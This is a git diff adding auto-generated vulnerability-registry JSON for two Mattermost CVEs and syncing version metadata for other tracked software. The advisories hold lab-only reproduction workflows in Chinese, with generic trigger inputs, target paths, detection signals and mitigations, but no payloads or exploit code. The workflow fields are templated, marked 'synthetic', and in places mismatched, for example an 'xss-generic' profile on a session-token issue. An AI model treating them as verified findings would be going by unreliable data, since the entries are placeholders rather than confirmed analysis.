+ "introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6",
+ "introduced=10.11.0-rc1, fixed<10.11.11",
+ "introduced=11.2.0-rc1, fixed<11.2.3",
+ "introduced=11.3.0-rc1, fixed<11.3.1",
+ "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible",
+ "introduced=0"
+ ],
+ "fixed_version_ranges": [
+ "8.0.0-20260127165411-fe3052073dc6",
+ "5.3.2-0.20260127165411-fe3052073dc6",
+ "10.11.11",
+ "11.2.3",
+ "11.3.1",
+ "10.11.11+incompatible",
+ "11.2.3+incompatible",
+ "11.3.1+incompatible"
+ ],
+ "introduced_version": "introduced=0",
+ "patched_version": "8.0.0-20260127165411-fe3052073dc6",
+ "version_evidence_sources": [
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "https://github.com/advisories/GHSA-34g8-9fpp-46ch",
+ "https://github.com/mattermost/mattermost/commit/fe3052073dc67e3c920baf9fe7efd44ac1d8124c",
+ "https://github.com/mattermost/mattermost",
+ "https://mattermost.com/security-updates"
+ ],
+ "affected_version_refs": [
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260127165411-fe3052073dc6",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260127165411-fe3052073dc6",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-fixed-10-11-11",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-2-0-rc1-fixed-11-2-3",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-3-0-rc1-fixed-11-3-1",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-incompatible-fixed-10-11-11-incompatible",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0"
+ ],
+ "fixed_version_refs": [
+ "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260127165411-fe3052073dc6",
+ "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260127165411-fe3052073dc6",
+ "mattermost--repo--github-com-mattermost-mattermost-server--10-11-11",
+ "mattermost--repo--github-com-mattermost-mattermost-server--11-2-3",
+ "mattermost--repo--github-com-mattermost-mattermost-server--11-3-1",
+ "mattermost--repo--github-com-mattermost-mattermost-server--10-11-11-incompatible",
+ "mattermost--repo--github-com-mattermost-mattermost-server--11-2-3-incompatible",
+ "mattermost--repo--github-com-mattermost-mattermost-server--11-3-1-incompatible"
+ ],
+ "patched_version_refs": [
+ "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260127165411-fe3052073dc6"
+ ],
+ "version_sync_confidence": "high",
+ "advisory_scope": "repo",
+ "version_confidence": "high",
+ "version_gap_reason": "",
+ "version_resolution_needed": false,
+ "workflow": {
+ "workflow_id": "mattermost--CVE-2026-2456--workflow",
+ "vuln_family": "unknown",
+ "entry_surface": "repo-surface",
+ "preconditions": [
+ "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002",
+ "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6, introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6, introduced=10.11.0-rc1, fixed<10.11.11",
+ "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `repo`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002"
+ ],
+ "required_role": "unknown",
+ "affected_version_assertion": [
+ "introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6",
+ "introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6",
+ "introduced=10.11.0-rc1, fixed<10.11.11",
+ "introduced=11.2.0-rc1, fixed<11.2.3",
+ "introduced=11.3.0-rc1, fixed<11.3.1",
+ "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible",
+ "introduced=0"
+ ],
+ "trigger_vector": "\u5bf9 `unknown` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002",
+ "request_or_ui_path": [
+ "/repo"
+ ],
+ "input_shape": "\u63d0\u4ea4\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\u3002",
+ "expected_unsafe_behavior": "\u76ee\u6807\u8868\u73b0\u51fa\u8d85\u51fa\u8bbe\u8ba1\u8fb9\u754c\u7684\u884c\u4e3a\u3002",
+ "server_evidence_points": [
+ "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808",
+ "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56"
+ ],
+ "browser_evidence_points": [
+ "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02",
+ "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7"
+ ],
+ "db_or_fs_evidence_points": [
+ "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e",
+ "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9"
+ ],
+ "detection_signals": [
+ "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66",
+ "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6"
+ ],
+ "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002",
+ "patch_validation_steps": [
+ "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6, introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6, introduced=10.11.0-rc1, fixed<10.11.11` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `8.0.0-20260127165411-fe3052073dc6`\u3002",
+ "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002",
+ "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002",
+ "\u8865\u5145 `unknown` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002"
+ ],
+ "lab_safety_notes": [
+ "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002",
+ "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002",
+ "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002"
+ ],
+ "review_state": "ready"
+ },
+ "verification_status": "triage-manual",
+ "verification_mode": "synthetic",
+ "last_verified_at": null,
+ "last_run_id": null,
+ "evidence_bundle": null,
+ "historical_status": null,
+ "latest_status": null,
+ "browser_evidence": {
+ "required": false,
+ "present": false,
+ "refs": []
+ },
+ "repro_profile_id": "xss-generic",
+ "artifact_mode": "synthetic",
+ "blocked_reason": null,
+ "metadata": {
+ "source_names": [
+ "OSV Mattermost"
+ ],
+ "source_kinds": [
+ "osv-batch"
+ ],
+ "candidate_count": 2,
+ "entity_ref_count": 2,
+ "advisory_scope": "repo",
+ "version_confidence": "high",
+ "workflow_id": "mattermost--CVE-2026-2456--workflow"
+ }
+}
diff --git a/08-threat-intel/registry/advisories/mattermost--CVE-2026-25783.json b/08-threat-intel/registry/advisories/mattermost--CVE-2026-25783.json
new file mode 100644
index 00000000..c4a6d14a
--- /dev/null
+++ b/08-threat-intel/registry/advisories/mattermost--CVE-2026-25783.json
@@ -0,0 +1,232 @@
+{
+ "canonical_id": "mattermost--CVE-2026-25783",
+ "system_id": "mattermost",
+ "display_name": "Mattermost",
+ "category": "platforms",
+ "advisory_mode": "core",
+ "title": "Mattermost fails to properly validate User-Agent header tokens",
+ "summary": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to properly validate User-Agent header tokens which allows an authenticated attacker to cause a request panic via a specially crafted User-Agent header. Mattermost Advisory ID: MMSA-2026-00586",
+ "published_at": "2026-03-16T15:30:42Z",
+ "updated_at": "2026-03-26T21:11:24.090883Z",
+ "severity": "low",
+ "cvss_score": 3.1,
+ "exploit_status": "unknown",
+ "source_confidence": "ecosystem-authority",
+ "official_source_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "secondary_source_urls": [
+ "https://github.com/advisories/GHSA-2v3w-6g35-5f9v",
+ "https://github.com/mattermost/mattermost/commit/1346cf529aef0672c39a56ec10d1b8a9c8fb387d",
+ "https://github.com/mattermost/mattermost",
+ "https://mattermost.com/security-updates"
+ ],
+ "aliases": [
+ "CVE-2026-25783",
+ "GO-2026-4725",
+ "GHSA-2v3w-6g35-5f9v"
+ ],
+ "cve_ids": [
+ "CVE-2026-25783"
+ ],
+ "ghsa_ids": [
+ "GHSA-2v3w-6g35-5f9v"
+ ],
+ "osv_ids": [
+ "GHSA-2v3w-6g35-5f9v",
+ "GO-2026-4725"
+ ],
+ "affected_versions": [
+ "introduced=0, fixed<8.0.0-20260129181235-1346cf529aef",
+ "introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef",
+ "introduced=10.11.0-rc1, fixed<10.11.11",
+ "introduced=11.2.0-rc1, fixed<11.2.3",
+ "introduced=11.3.0-rc1, fixed<11.3.1",
+ "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible",
+ "introduced=0"
+ ],
+ "fixed_versions": [
+ "8.0.0-20260129181235-1346cf529aef",
+ "5.3.2-0.20260129181235-1346cf529aef",
+ "10.11.11",
+ "11.2.3",
+ "11.3.1",
+ "10.11.11+incompatible",
+ "11.2.3+incompatible",
+ "11.3.1+incompatible"
+ ],
+ "package_name": "github.com/mattermost/mattermost-server",
+ "render_markdown": true,
+ "case_path": "07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-25783.md",
+ "secure_code_topics": [
+ "authz-server-side-recheck",
+ "xss-output-encoding",
+ "token-cookie-storage",
+ "dependency-upgrade-policy"
+ ],
+ "status": "generated",
+ "triage_reasons": [],
+ "entity_refs": [
+ {
+ "entity_id": "mattermost",
+ "entity_type": "system",
+ "relation": "root-system",
+ "root_system_id": "mattermost",
+ "official": true
+ },
+ {
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "entity_type": "repo",
+ "relation": "affected-component",
+ "root_system_id": "mattermost",
+ "official": false
+ }
+ ],
+ "affected_components": [
+ {
+ "name": "mattermost / mattermost-server",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "scope": "repo",
+ "package_name": "github.com/mattermost/mattermost-server",
+ "official": false
+ }
+ ],
+ "affected_version_ranges": [
+ "introduced=0, fixed<8.0.0-20260129181235-1346cf529aef",
+ "introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef",
+ "introduced=10.11.0-rc1, fixed<10.11.11",
+ "introduced=11.2.0-rc1, fixed<11.2.3",
+ "introduced=11.3.0-rc1, fixed<11.3.1",
+ "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible",
+ "introduced=0"
+ ],
+ "fixed_version_ranges": [
+ "8.0.0-20260129181235-1346cf529aef",
+ "5.3.2-0.20260129181235-1346cf529aef",
+ "10.11.11",
+ "11.2.3",
+ "11.3.1",
+ "10.11.11+incompatible",
+ "11.2.3+incompatible",
+ "11.3.1+incompatible"
+ ],
+ "introduced_version": "introduced=0",
+ "patched_version": "8.0.0-20260129181235-1346cf529aef",
+ "version_evidence_sources": [
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "https://github.com/advisories/GHSA-2v3w-6g35-5f9v",
+ "https://github.com/mattermost/mattermost/commit/1346cf529aef0672c39a56ec10d1b8a9c8fb387d",
+ "https://github.com/mattermost/mattermost",
+ "https://mattermost.com/security-updates"
+ ],
+ "affected_version_refs": [
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260129181235-1346cf529aef",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260129181235-1346cf529aef",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-fixed-10-11-11",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-2-0-rc1-fixed-11-2-3",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-3-0-rc1-fixed-11-3-1",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-incompatible-fixed-10-11-11-incompatible",
+ "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0"
+ ],
+ "fixed_version_refs": [
+ "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260129181235-1346cf529aef",
+ "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260129181235-1346cf529aef",
+ "mattermost--repo--github-com-mattermost-mattermost-server--10-11-11",
+ "mattermost--repo--github-com-mattermost-mattermost-server--11-2-3",
+ "mattermost--repo--github-com-mattermost-mattermost-server--11-3-1",
+ "mattermost--repo--github-com-mattermost-mattermost-server--10-11-11-incompatible",
+ "mattermost--repo--github-com-mattermost-mattermost-server--11-2-3-incompatible",
+ "mattermost--repo--github-com-mattermost-mattermost-server--11-3-1-incompatible"
+ ],
+ "patched_version_refs": [
+ "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260129181235-1346cf529aef"
+ ],
+ "version_sync_confidence": "high",
+ "advisory_scope": "repo",
+ "version_confidence": "high",
+ "version_gap_reason": "",
+ "version_resolution_needed": false,
+ "workflow": {
+ "workflow_id": "mattermost--CVE-2026-25783--workflow",
+ "vuln_family": "session-token",
+ "entry_surface": "session-or-token-processing",
+ "preconditions": [
+ "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002",
+ "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=0, fixed<8.0.0-20260129181235-1346cf529aef, introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef, introduced=10.11.0-rc1, fixed<10.11.11",
+ "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `repo`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002"
+ ],
+ "required_role": "authenticated-user",
+ "affected_version_assertion": [
+ "introduced=0, fixed<8.0.0-20260129181235-1346cf529aef",
+ "introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef",
+ "introduced=10.11.0-rc1, fixed<10.11.11",
+ "introduced=11.2.0-rc1, fixed<11.2.3",
+ "introduced=11.3.0-rc1, fixed<11.3.1",
+ "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible",
+ "introduced=0"
+ ],
+ "trigger_vector": "\u5bf9 `session-token` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002",
+ "request_or_ui_path": [
+ "/login",
+ "/callback",
+ "/session"
+ ],
+ "input_shape": "\u4f7f\u7528\u77ed\u671f\u6d4b\u8bd5\u4ee4\u724c\u6216\u4f1a\u8bdd\uff0c\u9a8c\u8bc1\u751f\u547d\u5468\u671f\u3001\u7ed1\u5b9a\u4e0e\u5931\u6548\u903b\u8f91\u3002",
+ "expected_unsafe_behavior": "\u4ee4\u724c\u6216\u4f1a\u8bdd\u53ef\u88ab\u91cd\u653e\u3001\u56fa\u5b9a\u6216\u8d8a\u6743\u4f7f\u7528\u3002",
+ "server_evidence_points": [
+ "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808",
+ "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56"
+ ],
+ "browser_evidence_points": [
+ "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02",
+ "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7"
+ ],
+ "db_or_fs_evidence_points": [
+ "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e",
+ "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9"
+ ],
+ "detection_signals": [
+ "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66",
+ "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6"
+ ],
+ "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002",
+ "patch_validation_steps": [
+ "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=0, fixed<8.0.0-20260129181235-1346cf529aef, introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef, introduced=10.11.0-rc1, fixed<10.11.11` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `8.0.0-20260129181235-1346cf529aef`\u3002",
+ "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002",
+ "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002",
+ "\u8865\u5145 `session-token` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002"
+ ],
+ "lab_safety_notes": [
+ "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002",
+ "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002",
+ "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002"
+ ],
+ "review_state": "ready"
+ },
+ "verification_status": "triage-manual",
+ "verification_mode": "synthetic",
+ "last_verified_at": null,
+ "last_run_id": null,
+ "evidence_bundle": null,
+ "historical_status": null,
+ "latest_status": null,
+ "browser_evidence": {
+ "required": false,
+ "present": false,
+ "refs": []
+ },
+ "repro_profile_id": "xss-generic",
+ "artifact_mode": "synthetic",
+ "blocked_reason": null,
+ "metadata": {
+ "source_names": [
+ "OSV Mattermost"
+ ],
+ "source_kinds": [
+ "osv-batch"
+ ],
+ "candidate_count": 2,
+ "entity_ref_count": 2,
+ "advisory_scope": "repo",
+ "version_confidence": "high",
+ "workflow_id": "mattermost--CVE-2026-25783--workflow"
+ }
+}
diff --git a/08-threat-intel/registry/entities/adminer.json b/08-threat-intel/registry/entities/adminer.json
index 2547730a..513952e2 100644
--- a/08-threat-intel/registry/entities/adminer.json
+++ b/08-threat-intel/registry/entities/adminer.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/adobe-commerce.json b/08-threat-intel/registry/entities/adobe-commerce.json
index b206a7fb..29fd7b83 100644
--- a/08-threat-intel/registry/entities/adobe-commerce.json
+++ b/08-threat-intel/registry/entities/adobe-commerce.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/angular--package--angular-core.json b/08-threat-intel/registry/entities/angular--package--angular-core.json
index b592466a..c6a25462 100644
--- a/08-threat-intel/registry/entities/angular--package--angular-core.json
+++ b/08-threat-intel/registry/entities/angular--package--angular-core.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 18,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/angular/angular/security/advisories/GHSA-prjf-86w9-mfqv",
diff --git a/08-threat-intel/registry/entities/angular.json b/08-threat-intel/registry/entities/angular.json
index 597a80c7..038b479b 100644
--- a/08-threat-intel/registry/entities/angular.json
+++ b/08-threat-intel/registry/entities/angular.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 18,
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/apache-httpd.json b/08-threat-intel/registry/entities/apache-httpd.json
index 1ef20229..034f688f 100644
--- a/08-threat-intel/registry/entities/apache-httpd.json
+++ b/08-threat-intel/registry/entities/apache-httpd.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 1,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Apache HTTPD Security"
],
diff --git a/08-threat-intel/registry/entities/apache-tomcat.json b/08-threat-intel/registry/entities/apache-tomcat.json
index 66fbf1b4..f4bac19f 100644
--- a/08-threat-intel/registry/entities/apache-tomcat.json
+++ b/08-threat-intel/registry/entities/apache-tomcat.json
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Apache Tomcat Security"
],
diff --git a/08-threat-intel/registry/entities/aspnet-core.json b/08-threat-intel/registry/entities/aspnet-core.json
index 6fc10e9b..6f147a59 100644
--- a/08-threat-intel/registry/entities/aspnet-core.json
+++ b/08-threat-intel/registry/entities/aspnet-core.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/astro--module--astro.json b/08-threat-intel/registry/entities/astro--module--astro.json
index 7348fd8a..2134483b 100644
--- a/08-threat-intel/registry/entities/astro--module--astro.json
+++ b/08-threat-intel/registry/entities/astro--module--astro.json
@@ -12,7 +12,7 @@
"repo_url": "",
"package_registry": "https://www.npmjs.com/package/astro",
"marketplace_url": "",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"version_scheme": "semver-ish",
"latest_release_at": "2025-11-20T14:43:59.624508Z",
"latest_release_url": "https://www.npmjs.com/package/astro",
@@ -23,7 +23,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/withastro/astro/security/advisories/GHSA-wrwg-2hg8-v723",
diff --git a/08-threat-intel/registry/entities/astro--project--astro.json b/08-threat-intel/registry/entities/astro--project--astro.json
index bf4ee59b..bef58625 100644
--- a/08-threat-intel/registry/entities/astro--project--astro.json
+++ b/08-threat-intel/registry/entities/astro--project--astro.json
@@ -12,7 +12,7 @@
"repo_url": "",
"package_registry": "https://www.npmjs.com/package/astro",
"marketplace_url": "",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"version_scheme": "semver-ish",
"latest_release_at": "2025-11-27T08:22:36.525875Z",
"latest_release_url": "https://www.npmjs.com/package/astro",
@@ -27,11 +27,12 @@
"https://github.com/withastro/astro/security/advisories/GHSA-hr2q-hp5q-x767",
"https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw",
"https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7",
- "https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2"
+ "https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2",
+ "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f"
],
"version_sync_status": "green",
- "security_version_count": 26,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "security_version_count": 28,
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/withastro/astro/security/advisories/GHSA-c4pw-33h3-35xw",
@@ -44,7 +45,8 @@
"https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw",
"https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7",
"https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2",
- "advisory-fixed-version"
+ "advisory-fixed-version",
+ "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f"
],
"catalog_source": "",
"catalog_reason": "",
